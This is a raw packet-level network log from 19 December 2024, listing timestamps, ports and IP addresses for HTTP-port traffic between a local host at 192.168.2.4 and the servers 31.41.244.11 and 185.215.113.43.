Dec 19, 2024 06:10:09.410465002 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.410609961 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.410686016 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.418853998 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.418976068 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.419207096 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.427294016 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.427438021 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.427546978 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.435636044 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.435740948 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.435839891 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.444056034 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.444300890 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.444400072 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.452466011 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.452590942 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.487502098 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.490291119 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.531260014 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.531353951 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.531483889 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.560214043 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.560358047 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.560395002 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.561268091 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.562460899 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.562534094 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.563308954 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.563359022 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.563368082 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.563405037 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.567547083 CET	49908	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:10:09.568039894 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.568089008 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.568114042 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.568149090 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.572380066 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.572452068 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.572470903 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.572552919 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.577023029 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.577080011 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.577174902 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.581991911 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.582091093 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.582146883 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.582223892 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.586431980 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.586499929 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.586632013 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.586730003 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.591140032 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.591193914 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.591276884 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.591344118 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.595568895 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.595603943 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.595695972 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.601888895 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.601988077 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.602067947 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.602134943 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.604834080 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.604980946 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.605093956 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.609457970 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.609493017 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.609560013 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.609560013 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.613900900 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.614028931 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.614164114 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.618582010 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.618623018 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.618671894 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.618671894 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.623157024 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.623244047 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.623260021 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.623332977 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.628329992 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.628364086 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.628566980 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.630935907 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.631098032 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.631167889 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.634358883 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.634413004 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.634552956 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.638117075 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.638183117 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.638199091 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.638557911 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.641736031 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.642023087 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.642117023 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.645703077 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.646318913 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.687356949 CET	80	49908	185.215.113.43	192.168.2.4
Dec 19, 2024 06:10:09.688163996 CET	49908	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:10:09.723246098 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.723283052 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.723378897 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.725003004 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.725146055 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.752166033 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.752224922 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.752249956 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.752409935 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.753429890 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.753546953 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.753602028 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.753602028 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.756155014 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.756244898 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.757134914 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.757189989 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.757239103 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.757323980 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.759830952 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.759969950 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.760111094 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.760191917 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.762556076 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.762609005 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.762674093 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.765182018 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.765408993 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.765609026 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.767766953 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.767906904 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.768080950 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.770292997 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.770380974 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.770410061 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.772875071 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.772911072 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.772949934 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.773030043 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.775342941 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.775408030 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.775441885 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.776110888 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.777812004 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.777911901 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.777936935 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.778019905 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.780363083 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.780428886 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.780469894 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.780514956 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.782860041 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.782959938 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.782969952 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.783215046 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.785367966 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.785454988 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.785506010 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.785553932 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.787856102 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.787967920 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.787975073 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.788036108 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.790395021 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.790574074 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.790648937 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.792876005 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.792977095 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.792984009 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.793057919 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.795387030 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.795474052 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.795511961 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.795605898 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.797928095 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.797983885 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.798016071 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.798063040 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.800451994 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.800506115 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.800571918 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.802936077 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.803045988 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.803060055 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.803139925 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.805421114 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.805475950 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.805475950 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.805519104 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.807941914 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.807991982 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.808058977 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.808119059 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.810456038 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.810550928 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.810575962 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.810691118 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.813060045 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.813097954 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.813131094 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.813158989 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.815505981 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.815606117 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.815644026 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.815742970 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.818021059 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.818095922 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.818155050 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.818326950 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.820523024 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.820574045 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.820642948 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.820832014 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.823055983 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.823179007 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.823231936 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.825525045 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.825602055 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.825654030 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.825750113 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.828022957 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.828116894 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.828151941 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.828210115 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.830530882 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.830585957 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.830593109 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.830699921 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.833062887 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.833156109 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.833163023 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.833278894 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.835676908 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.835818052 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.835819006 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.836091995 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.838041067 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.838170052 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.838171005 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.838270903 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.840569973 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.840655088 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.840666056 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.840697050 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.915229082 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.915327072 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.915432930 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.916469097 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.916582108 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.916672945 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.918976068 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.922230959 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.944310904 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.944348097 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.944405079 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.945236921 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.945358038 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.945400953 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.947261095 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.947349072 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.947407961 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.947463989 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.949245930 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.949348927 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.949368954 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.949476957 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.951246023 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.951303959 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.951386929 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.953214884 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.953324080 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.953371048 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.953371048 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.955173969 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.955219030 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.955240965 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.955300093 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.957068920 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.957196951 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.957254887 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.958933115 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.959014893 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.959048986 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.959122896 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.960773945 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.960825920 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.960839987 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.960882902 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.962649107 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.962750912 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.962773085 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.962841034 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.964452982 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.964534998 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.964581966 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.964670897 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.966295958 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.966352940 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.966367960 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.966492891 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.968044043 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.968106031 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.968164921 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.968230009 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.969882965 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.969940901 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.969991922 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.970035076 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.971657038 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.971724987 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.971791029 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.971860886 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.973499060 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.973560095 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.973737955 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.973783016 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.975249052 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.975389957 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.975449085 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.977081060 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.977163076 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.977165937 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.977284908 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.978841066 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.978913069 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.978972912 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.979043961 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.980773926 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.980834007 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.980889082 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.980959892 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.982424974 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.982497931 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.982515097 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.982559919 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.984257936 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.984317064 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:09.984349012 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:09.984411001 CET	49910	80	192.168.2.4	31.41.244.11
